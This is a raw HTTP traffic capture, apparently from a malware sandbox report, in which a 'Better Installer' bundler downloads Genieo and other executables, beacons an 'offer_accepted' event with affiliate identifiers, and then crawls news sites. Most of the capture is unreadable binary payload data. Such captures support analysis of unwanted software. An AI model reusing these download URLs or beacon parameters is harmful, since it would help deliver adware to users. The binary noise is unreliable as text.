..G8.?...Vp......y...mX.U.;[email protected]... v...f..J.3[.
0...{W...F2 @%N..A...XG.......BU..U...J[3.....N.S...p..-m..9..T...jl.&
lt;.x.....AJ..p.....m.B^....2.j.#9;]O.5y.S..7Vm........V2....W....C.&g
t;(.".4......L.1P.2r...{..)q...S.....u..Kd!..`..L:.....S..'E..o.41.z..
..s.p...).b.l.Pm...x....O./..w....V.1.<.#..U ...v...-.J...L..y.W.B.
..$.q.......1/...wc.'.u...}ET.{....%...D.oY.....;...=.r..&i.0.T[...8..
y..\][email protected]..../..mj.B?O8....}q@.%Lk..r.Ij... R.("....i.
hP.;U.jX.....N.....p{...7YK...\a4P.P...........u6......v`....z...|U..o
..N....&. .GC....)......$...B..U9z.c.@f....=...*'y..{g....V.M.R..sv..4
....,u...u/2..../...~R...IJ.pr;[email protected]_
"..i..R..]hZR....8.......BA>...^....s.(..HI.M}...r.(...Do3...R.....
...k..C....<, `.*....l.G..}...E...]Q....Q.P2V9?....N.sa....#p...P..
..<Rr3Uo....j._....K.|S..#...kJ....$.#..P.$ej.u..#....   *......2..
.......C   *......2.........C   *......2.....z...f.>...."....}Fo.?.
.....z.uM.m)...J.I....9i#.P....0-.Nz....x..Ke...$.>.N...C.B.....P.@
..9.....)j.0...Ef....?...D]>....)|x*...1.....o.~..........Z.AB.<<< skipped >>>

GET /cnnnext/dam/assets/150408162525-us-soldiers-afghanistan-npw-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 37725

Cache-Control: max-age=3710

Expires: Sat, 16 May 2015 00:06:58 GMT

Date: Fri, 15 May 2015 23:05:08 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.I.........................!.1..AQ."aq2....#BR.....$b.3Cr.%S..45c.....
DT................................0......................!.1.A".2Qaq..
.3B...R.C..............?.%...bPP.u..0.......=...J. ..!.......d<.2N.
.....F..Z....b}..l...%.........T...6....VC.q....L......../<.z-...&l
t;\.....;V8...U...m.....SQK..T....Y..V`s..z.43o...G'.pO.....O.5..7....
g..(..o....d..".D...'y)^.q.x.g9g....8....R.u.#YV*.Th.US..$^1.....2M.G.
rt.......@....$...#...[.T.7.W.3..qm....O .H.4..L....c..Dj.....5..I....
.........K4.Q*'...S........<S.UMV..TG&1.I.........t.J...'.Q.".J) ..
q............Rd...j....%........E...<.......l z.K|.V*.CS.*......25.
w.........*i..kS..1\.......zh9...."<.p.E..d........n.....!..RN.YN.,
.31}.Npry.........;n....{]U7.V*j....xe....#g..E..3..>e.:O. .Z.=[]..
..4.i..........?Mi.Wa{..Q .f%J...8...........Z.....Q...D...tne.h.....^
Z{uo.1........U..d...{..^...c..#.#h...(... .PPz.mE...'..Gc..E...v.*.o.
8 ...f>.!N.9X.....jz.......1....$i~&..NH:.....$`..R<Y..-u.......
..:.Y.[.q._mlgis ...x.....sm.....c.......-.i....$....{.VG...;...tV...#
.U.=...?\jr....S..PN.F......(..'$.\V.W4...s..4..[......i...A ....=..^$
Z....g.......^...I..Z.~\.$rU...........4.N.6.9.Q.K........ s...2.T.",.
<..O.u......../.P;....es.....'.....I[_S[..&o=....{}....../....5B..$
.c1.o..C..a........JH*-`On...,D.%%K...s.]..x.y....x.K.>CI.[`..c<<< skipped >>>

GET /cnnnext/dam/assets/150512125413-skyhawk-aerial-photography-lone-fisherman-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 55741

Cache-Control: max-age=7077

Expires: Sat, 16 May 2015 01:03:00 GMT

Date: Fri, 15 May 2015 23:05:03 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.D........................!.1A."Q..a2q..#B....$3Rb...4r...%S....Cs....
..............................1.....................!1A..Q.a"q...2B...
.....3.r............?..y....VF.....^B2..7m.........C...R..b.....I.m..{
...H.zn.M.H...G0..J.o...`..v1.GK..Z..= B5...Llf.................)f.6.I
..*-Qb.H...Dd.>..|...1.....SgX^,.#.(h.>.|.{c....rj......BVB.;p..
~..<v......VQ...[et.\.7l..s.....Uh...q..`.l....&..p........'.......
.f...p.........F..`~...'.....N..r..$........=....I.'..Ni.}x.Wsm ..C...
....Nwc'i9...kZdU...mOS:z..E9OK......0s.`.z=.6-B...#X.,.$..H...B......
..Uq...,.mZ}Je..b..U.0.....nGV.Z..-z..e....(YY........q..w.k..E.L..-,.
8y...Y.......g..~.N.B.) .\Le....d......q....._L.... ..&H.a. .2O...?q.z
},......V..#Q.%r.8.`.w._.UZ..R.mW.b.w......([email protected].;
.5q&.6. . ......Q..}...`.6Fbr....R....$6.H..t....S.."E....L6....C.|..8
=..t....a...UY.J.z..^0O.......z..8.....k..A.pl......>1.)..SL.4.V:Q.
LJ..\...H.w.:[.......V1..Wj..!...0x...OG.........u...L.J.<(...'.H..
8...Z\?...1...H........>{t..Z.!..O.........\...9..........7fOZ-....
..........3Y. \......h.c...|.....o.g.F..w...!..HC..k.2.....x8... tyd..
4.1C.e...oO..>~y.n.j .F....$."3&..98>?....#..(....oPa..3.....R.#
.>..p||..KkP.V.}DO."...;.b...c....^...t...e...X.Q.9..v>.R.5...QZ
...".B....F...w...S...n:Mf..qd.O.`$....o... x....!....Zf.........7<<< skipped >>>

GET /cnnnext/dam/assets/150512162730-salma-hayek-refugee-camp---s046828726-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 37161

Cache-Control: max-age=3402

Expires: Sat, 16 May 2015 00:01:46 GMT

Date: Fri, 15 May 2015 23:05:04 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.D..........................!1A.."Qaq.2.....#B...R..$3b.%...4r.C......
...............................9.......................!..1AQ."a..2q..
.....#3..$BR.45.r............?..F.m97......_>......m...(.)...Q..Fp.
R..".R.:.>0n(..~........j......]{.....EYl>....h.l,.t..:uiH......
..a. .Q.Y..3..y..{|..Df...c'.b..k....X.F..S.3(...b......c.b.S,V..a.#..
.D.b....w>.eHK..t.M[QS.e#.2.....~... v..,....&..7..r},...d...lWz.j.
......m.....rs4.C'.@..|[email protected],.s.oRV...Q...(@...'.....x.|....#`..
.W5....L.R..9........sD....yn>.._.I..#...L.........U9. .....`..r...
>...b?.....e.(.ESr.A.../...................1...jT....|w..........e&
gt;RS........Y...g....l.!.]..x.2..<....*.E.....Lt...7.&...[...GJ..6
.$....a.Z:&.....C.@.%....(#.b9...ym..0Y8.".....Y.._u.>.....2L....1)
.........H.F.sc...I..A..l.).3I..|p.Qe....T...lU{...:...zb..7<.f3.P.
$..|.C..E.en.:...Y..k...Sx...A...-L.o.&R.e.8....'.K.s.`lp..'...[3..BZ@
........Ux..4..,...).`P.;.dof.........W...~ K,U.......4>..m.......1
]d...U...I.......X.LN\....u^...8i....(3('.........*lGA..F ......U>]
=.eQ..H....OLR:7Fe.. 3...IdX.7.=F.Xt....[.H.....*.HdB..iE.......1.....
..r.........-m\.,..W.P............A..gtkWEU.L......A....|yy..2.L...6/O
p...._..~....b..d.......X..{.....9..q...... .M..W........5.....ie}...,
..........i..CE.......il.........L<~..".eZ.J...*.0U.... )...@,.<<< skipped >>>

GET /cnnnext/dam/assets/150515114344-river-plate-police-shield-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 37260

Cache-Control: max-age=1583

Expires: Fri, 15 May 2015 23:31:28 GMT

Date: Fri, 15 May 2015 23:05:05 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
..H..........................!.1.AQa."q.2...#BR....3b...$Cr....S.%4T..
D...................................9........................!1..A"2Qa
q.......#B...3.C.$4R..............?........."[email protected].......,.
o.mc......A.......zCf.0n.u.....w.......=...G<.W....B.A..e...:...'J.
.&.F.YO7.L...>`./1...X........nM:...X.rj..l.......$z......c9hf.'..L
L..%N8.>.T..}.r]..K...~w!%..$...)J..m };.;QX H...6g....H....<...
....6...4. .W^....>.=...E...HVI.b......M.q...!N......i...<.y....
.w...j.....!..].$ ...i.!...Af...JF<Y.}..|.#[email protected]...
T.O?{p......N...!.F...IR....rO............X..JV.....x..$%\....G.;R4...
...9.I..r{..H.....y..u.p....(...s......]..........m.(..9.F...X..m...&g
t;...G4%.S..%...1..7........V..M...OO.. .D....6.|....s.h..q.$2.......r
q.)....|..2#.l(nSH)H..I..t.m...&......q....2.....'y1.G.....n..........
s..rT;.y...}...&..h.]P...X.$.(zq.}(......Y$.YB>...q...G|...N...qm..
.MP.*......?Z.(...}....../....J.5.....2.}.Z*.w....[@.1...WH.....i.$r.9
....,. ...X....2o.)....9s....[O...9..;.......!p.....H...1JM.ZB..I.....
.R].~...%.IzY.?m..w.........I.......#.....o...........}...B...........
c..^J.{...]. .?..-...lo...8L....ZU-...F....d^:....f>...)..H..JW....
..s....-....U..._...}D.&dF..a........JL...`...o..........io....T.....$
.#.R..G..... ...xP\.oI9.....@8..&.....#..UO......Mqi[~.[.%!D.....1<<< skipped >>>

GET /cnnnext/dam/assets/150503120239-10-will-ripley-north-korea-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 29647

Cache-Control: max-age=5072

Expires: Sat, 16 May 2015 00:29:38 GMT

Date: Fri, 15 May 2015 23:05:06 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.Q.........................!.1A.."Qa.q.....2..#B..$Rbr....34S....CDc.%
s..&5Ff....................................3........................!1
A...Qa"..2q.B.....#R...............?._..).R.......f..F...)Z.$......3.(
-...*....:.....*$........t........*n.m.nt.V.........k.. /%py.@.*....o.
t.i.(....?:..`.x....:.....&..Z.V4..->.....D..U...#.&."c.^.'.......3
z...U..m........1...&U....1...)...d.v....I..mH....2|.T..)n....#.Q..<
;O "|.DN2U.#......P.v..T[.d7.4.#.......<...R.kz..4.../%[email protected]...
!R4s.EA.p..... <.C*.#DrJ..C.....Q.-N].....o2K.({...1..[.....\......
....i......{../8h.T$..V.....W..}<.ae... ....ns..7-l.Te.../4(.)WO:.a
...1.R......8u..^B.v..8#..Q.j."..D...Q..W,O....' ...$....:.|.. |....r.
..../..LGn..%..4...H.}c.j.g.G..!.)K.<....5.\Ol.'.I..b.C...d...>.
m..5v.n...iBR...W...d...M.,..X.p.Q!v7.h.pZt....7.....4..= ./5x.J.)IP.R
.51e.9.(,.n....U.:.-..1...4cx.....N..$........ .gG..V.a........S..q#..
...;/......[..O.Y.y[.....}..&L...M.Ay..[....c..P.X....r.V..l......d/..
.v.(.n..n..i.v.........g..-6Oa....Wu.n..{3I<...G.....n=qn.J.../..P.
..'.x.ury.>I?...{\.{...)...D.f.......zB..z..7s|..q.*q...:.j."c.v.GY
%...%.....z......31.=|.....n...N.~.^....s1z..w........._V2.$z.y..m....
.)R..N..F....?...6O.)9$%..Z.e..T.vTys2@..>EU..n..g.*4P...../....j${
!W.g.jn.oCP...K......H...DE.=..n..4.....&D.&A.2 u. .....7.?......_<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=964747-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321582

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 03 May 2015 00:53:48 GMT

Content-Range: bytes 964747-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 528e932a968fec7dcc37ac386f863bf3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RVwTL6E1P0-Pjq1alIKQeVwhNrKHmpCPew1BFaC1shbDYQudO9ktlA==
y. ....x.L.z..V......i}|...V...$EN...Vd...b&b..*..39..6..<r.p<.F
vD.........S<g...{.q.W.%7..?.`b.TwPT.l.O....N.."...#_X.&.s.d0B..M.-
.$l. B*.........[.Y....Q>@.P...4;?<T..7....I..'.......i0\.S.....
..g..r..|S.Q....&..7.f....?.X....T4..._-...N.%.....L...eX.....=.....q4
.&..h.6.y....F..BJD....._.A.._iQ...8.#B..zI'US.;:.~.M...6.C..J.].....w
..S..D...."..s..). xh.6.....f.Z....mjy..i0.. ...p-)..h..Z.gu.&........
..a.6.......h..W.Jh...I.:....9.....&.....M.....$..8.i.I..Gk.y.F>#..
zLR.B........r.'..t..m...}.....5.;.I.z.KG... 3H....|....g..H..\G..{...
,X....w..=5.n{.....`e.VkW.....?......dn...".Z..i.a.....o.>.....s.f.
...V..&U...G..<....TK.P..  .K.....*...^....ZF....l/.#.&.7......dW..
3<C.QIL&...`H..?..E.V... I.k...[!j...s...ci.f.s....cd....<O..h..
.b.'...X..d.......Aq.S..;[..q..)(C...F~.;.>..........U4.=%.j|4...\.
...?..E..d....L........&5...W..qj.D\..$...h^F$.$.%g....`...$...L.....a
.4..N{..L..D....5..!.../.\..D...4...1zif_J...L.|...z~f.@]..Me._.H)....
u..8.Zl)....7...[.|d;...>.Q.b6...... I......[...}..]....~O.......q.
....M...........<.X~.....8.ysN.f3s....t........iq.w....[WI.\..I.\=.
...I.]...^.U.....h...wL.<.........$..F..v.a.y...&......9...L`O...n.
.#...0.l.. O.?..%..v...K..~.....'p..w~...?0.5t....i...Q2...RC%IY24.Uj.
.;:...FV=.K..9..%C..y9..y.1*..^..*..d..vp..s.z(Sg.ny..Y"...F^.U2....^|
..A.:<...X........Z..:_......1.y...,FLw...Dg.8HP....J.0.s....T...OX
.M..H......w.7t<..n.~.jn...g.4.>Y.y...XLtTO..A.......e.....{..7.
*....TP..5S..S..p.....7.lB.z...S....a{.I.......0.w.a4..$.E..k...5.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=864857-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: 0 3Z DddN2wSU37Hfqt3klKZLecqzFcJJxAqgnkUPg7GCOssVuP neDCSwKyAePo

x-amz-request-id: 3C7E7C00D1F6B3FD

Date: Fri, 15 May 2015 23:02:26 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 864857-988407/988408

Content-Type: application/octet-stream

Content-Length: 123551

Server: AmazonS3
7f..]....|.5...[HZ-.....{\..Y......?...DQ....5Wp.!./...,LGv....- .....
.zw..x..B%9{..#....x.. Rp..by....KZ...k.t..y......8*.<.........L.d.
[email protected]..,...}..l....g....s.6*...".....F..f&.0.p..-....q....UN..
...^...-S.3.....@ /2.;......v.(.#....2.......Z.un....:....U.J4.......l
.....S.........Y....".W.1..r.-.!./.a.......v....6.......l..a.!.^.;..8.
t.]qeq..u..7'/..I.fEd.m....ij....L..R..$......0..1O.......D.C.........
n...^...eC~...>ec...xU?4......Y-s.F...y,..cM.....'.b.w-..z>U....
 .9.K.!4..y..&N...Y..$...R*........b....V....\6l...H..`.{.....4.Z.....
.X?.q.2Y.D..J.Z.z..~..p.JP(...v.#..P...._ ....G.s $..x[.e..$<V!....
h...I.h9O%,....R'S..F...*.G......I.Sp.1]....#|K.G..S........."=.XZ....
9.......S.DR..)9..x....:.....$......=....n.....{.J.......I..[..VLm.6l.
!=..Q.v.....f*....".)>..D.1......t..:9.....d5.).y|w..Z.(.=~....2Ix.
.o_;..........'..J.2Ds.!q.v.-.....#."..iq.:1A[d...]....,....-(.^Q..R.&
gt;..-=...[=.M.c...%.\hu.t...M...h.WC:r......|x)....[~k.[....d......@F
....X.....*..7YQ..Kai.m7.....Y...D.2.o.P......(J&>z..\[email protected]
#r`o.h.....c)y...=.x..%...%...A_.r.Po...}.........Uq...V.r....i.m].!..
.)d.....I..R.$..)*..V.z..O.).n.15.qP.]t.9..'.J2y..9?..S.....4C....a..%
.I....?g...5..M..cy.....o...........<...P.S3c.M../[=u.#.g.m.V._H=..
...E.>U.R..3"..u.|j.n..\...r*.....o.b...;.j\.H......g#..S........hv
..<..H!.(.......q.g .....Bc..u.E......./5.Qo....j....@^......J.....
_=.Iy..K.`.W..E.t...m.w.K..[<..e*.g(.T.fD=.........xeD.g....&.._.b.
.Lc.zvkn.Q.O..0NI...~.5.b%k...**.f...sk..)z[.0..JY.u:lJ?...'.M~.k.<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=3&index_in_screen=1&index_in_session=3&0.7966780592631134 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmc=1; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:05 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:02:05 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:53 GMT

Last-Modified: Mon, 27 Apr 2015 14:56:24 GMT

ETag: "9008aa-6fb-514b5f31db600"-gzip

Accept-Ranges: bytes

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/plain

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Content-Length: 504
..........}.M.. .....9X9X..l.v..Z.v/.w...&....$..........<..;0|....
_..v.(.W..u..../.....z.A.N....B.&./E.L...J ..z..6...y...&,..a...m...xC
...<.W_...(=.~.....OV.O..v..Y.j....0.p.....G..]...4V ....|....C.; O
[email protected]>..).`.y6.3aQ..yD\N...<.../.80...?.7. J....B.-
.R#e...$........i#....o.O].bx.p...M.*.\....J....-..;s..V.K1..&"..8D.9!
..=Q.lt.M..c..[...q.j.~....D...Q'..!SL4CAsVJ.7h4..s'..-...%p.>....u
......k....Q3....X.....Y3....LY..T.....[x.}#.....w.aU?.....yC..A...;..
......Y..Z........'.....K....HTTP/1.1 200 OK..Date: Fri, 15 May 2015 2
3:04:53 GMT..Last-Modified: Mon, 27 Apr 2015 14:56:24 GMT..ETag: "9008
aa-6fb-514b5f31db600"-gzip..Accept-Ranges: bytes..Vary: Accept-Encodin
g..Content-Encoding: gzip..Content-Type: text/plain..X-XSS-Protection:
 1; mode=block..X-Content-Type-Options: nosniff..Content-Length: 504..
..........}.M.. .....9X9X..l.v..Z.v/.w...&....$..........<..;0|....
_..v.(.W..u..../.....z.A.N....B.&./E.L...J ..z..6...y...&,..a...m...xC
...<.W_...(=.~.....OV.O..v..Y.j....0.p.....G..]...4V ....|....C.; O
[email protected]>..).`.y6.3aQ..yD\N...<.../.80...?.7. J....B.-
.R#e...$........i#....o.O].bx.p...M.*.\....J....-..;s..V.K1..&"..8D.9!
..=Q.lt.M..c..[...q.j.~....D...Q'..!SL4CAsVJ.7h4..s'..-...%p.>....u
......k....Q3....X.....Y3....LY..T.....[x.}#.....w.aU?.....yC..A...;..
......Y..Z........'.....K......<<< skipped >>>

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

Vary: Host

X-App-Name: homepage

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Fri, 15 May 2015 23:05:16 GMT

X-Varnish: 1563557900 1563524644

Age: 399

Via: 1.1 varnish

X-Cache: HIT

X-API-Version: 5-5

X-PageType: homepage

Connection: close

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:41 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: e765jbdalcus9

X-Frame-Options: SAMEORIGIN

Content-Type: text/html;charset=utf-8

Content-Encoding: gzip

X-Cache: HIT from ncache4.global.media.ir2.yahoo.com-2

X-Cache-Lookup: HIT from ncache4.global.media.ir2.yahoo.com-2:3128

X-Cache: MISS from ncache8.global.media.ir2.yahoo.com

X-Cache-Lookup: MISS from ncache8.global.media.ir2.yahoo.com:4080

Via: 1.1 ncache4.global.media.ir2.yahoo.com-2:3128 (squid/2.7.STABLE9), 1.1 ncache8.global.media.ir2.yahoo.com:4080 (squid/2.7.STABLE9), http/1.1 yts209.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSfW]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: max-age=0, private

Expires: -1

Age: 17

Transfer-Encoding: chunked

Connection: keep-alive
800.............X{o.8....)./.q.R.K~(.s.m......).rE.P.e..D.H.q.|..R.-;v
..6...-.....g.3:;|.......(U.??8......'E.....$..[4..?..m.sy"`"U.8.m1*..
....^L...l6....P......8..N...F.H9l........|.RJ....eT.B.OI...^...j...zE
.m.[#..Y.O.g..z..."Hk....6.."....V.....h.R.V.z..(JI)..~....Z...?..S.._
.T....$... \.j.3..S....,......xO.-.s...&TE)..K.....u~.l...|.jR.P.O.a%X
VZs...M......HN.\..pz'O.......r.7j..HFVHIa..^....(iD.....2J....X..{Qw.
.....3...a.:|...\.....I.I..B..|.B...._.47f.igL........2..,##*..L5...%.
w....%.#..xmN2.q.....rQ6..'.q..BV.wv...1K.A... ...g...F.X.......(.....
..sT.E...RD...c%.&iXR2f..58..P..LYL...L8..SZ.._ .`..y....yL.L.... ..RX
1I.."y.R.%...I..&GX.7...ER.....r..B.K-....._QT..*UW...\.,"....Z.*.....
R..T.a .OHQ.........^/... F.N......}%..7...c..v.lR0....Z..W.q.......^.
.W.M........./3.......c.]?.t.....xy5{w....^fK.1....F71M.....F.......V.
.v.H2Eo.{6v...v..U....%.....9...k......`.k.r......N....d.).;...n..e..o
.]... ...-7Nz....u.......-.w:..<3..z.8}.y......' ......_.k.\..u...O
.3.....:....."p.c.|[email protected].^D?......s.*.<....p]....g.*e..GT.wn
...TL..S.CV..j..Zm.....5"./...sj..Q.2m.N..@q&B.)..53..B....s..........
..!).q..).$...5etV...Gg,V.0.P..{=h.....Bo_..z...Y..H.r... ..j.<...=
..Sve..8.....a.s..`....=m...N.f..N&y.......}xQ.dn1i...w.F.........c_(.
H.p.4;.|..z.wr..Z-t8..y..I.c.Q,.I....8)..S=j.U.G........G..?....h%.t.v
D....e~IF..O.G..?:..\[.l`..).q.bu|zww.>...`.sp..U..2.....$...#..7.y
...`]Y.Q.;.cu<.bg.........6..W...P..1tB..:..zQ.!.!...v0..P&.T......
.TS...@{.l...r.?..[...b.t.C.F%.%H..5Y..G..A.u..`.t.E...r...z.?.w..<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: private

Content-Length: 5430

Content-Type: image/x-icon

Date: Fri, 15 May 2015 22:56:08 GMT

ETag: "YM:1:d8c23aff-97ec-4cae-83b6-5a3fd7414c6d00051625f755a372"

Expires: Sat, 16 May 2015 23:00:01 GMT

Last-Modified: Fri, 15 May 2015 22:00:02 GMT

Server: ATS

x-ysws-request-id: 11dcd390-9f81-4b0b-8658-9f455b3a24ce

x-ysws-visited-replicas: gops.use26.mobstor.vip.bf1.yahoo.com

Age: 531

X-Cache: HIT from logo3.global.media.bf1.yahoo.com

X-Cache-Lookup: HIT from logo3.global.media.bf1.yahoo.com:80

Via: HTTP/1.1 web14.use26.mobstor.bf1.yahoo.com UserFiberFramework/1.0, 1.0 logo3.global.media.bf1.yahoo.com:80 (squid/2.7.STABLE9), http/1.0 l9.ycs.dea.yahoo.com (ApacheTrafficServer [cHs f ]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Connection: keep-alive
......  .... .....&......... .h.......(... ...@..... .................
..........;.p.5.o.6.o.6Dd.0...........................................
..............................................d.0.o.6Do.6.o.4...;...;.
p.3.o.3.n.3.q.3.n.3.r.7.n.5.o.6up.8Pn.7)i.2...........................
......m.3.n.6*q.8Po.7tn.5.n.4.n.3.q.3.n.3.n.3.p.3...;...;.q.3.s.4.s.4.
v.5.q.4.r.4.q.4.q.4.q.5.q.5.q.5.q.4.p.4.r.5.p.4.q.4.q.4.q.5.q.4.r.5.q.
5.q.5.q.5.q.4.q.3.r.4.u.5.s.4.r.3.p.3...;...;.t.5.w.5.v.5.y.6.u.5.w.6.
x.7.x.7.w.7.x.8.y.8.y.9.z.9.z.9.v.7.w.9.y.9.z.9.v.8.v.7.v.8.v.7.v.6.v.
6.v.6.z.7.x.6.v.5.t.5.r.3...;...;.u.5.x.6.{.7.y.6.y.7.z.8.|.8.}.9...;.
..<...<.~.<...<...<.{.:.|.;.}.;.z.:.{.:.|.:.z.:.{.:.{.9
.{.9...:.{.8.|.8.w.6.t.5.t.5...;...;.v.5.z.7...9.}.8.}.9...9...;...;..
.<...=...=...>...>...?...=...>...>...>...>...>
...>...<...<...;...<...<.|.8.~.8.y.6.t.5...;...;.w.5...
9...;...;...;...;...<...>...>[email protected]................
[email protected]...?...>...>...>...>...=...;...<.}.8.v.5...
;...;.z.7...:...<...<...>...?...?...A...A...B...C...C...D....
...............D...C...B...C...C...B...B...?...>...>...<.}.8.
z.7...;...;...9...<...?...>[email protected].
..................G...F...G...F...E...D...D...B...A...A...>...<.
z.8...;...;...8...=...A...A...A...B...D...D...F...F...F...H...H.......
............H...H...H...G...G...F...E...D...B...A...A...<.z.8...;..
.;...;...?...C...D...C...D...F...G...H...I...J...J...K............<<< skipped >>>

GET /rss/topstories HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:03:55 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 1dkn74lalcuqr

X-Frame-Options: SAMEORIGIN

Cache-Control: max-age=300, public

Expires: Fri, 15 May 2015 23:08:55 GMT

Content-Type: text/xml;charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding,X-Ssl

Age: 67

Via: http/1.1 yts219.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfU]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cHs f ])

Server: ATS

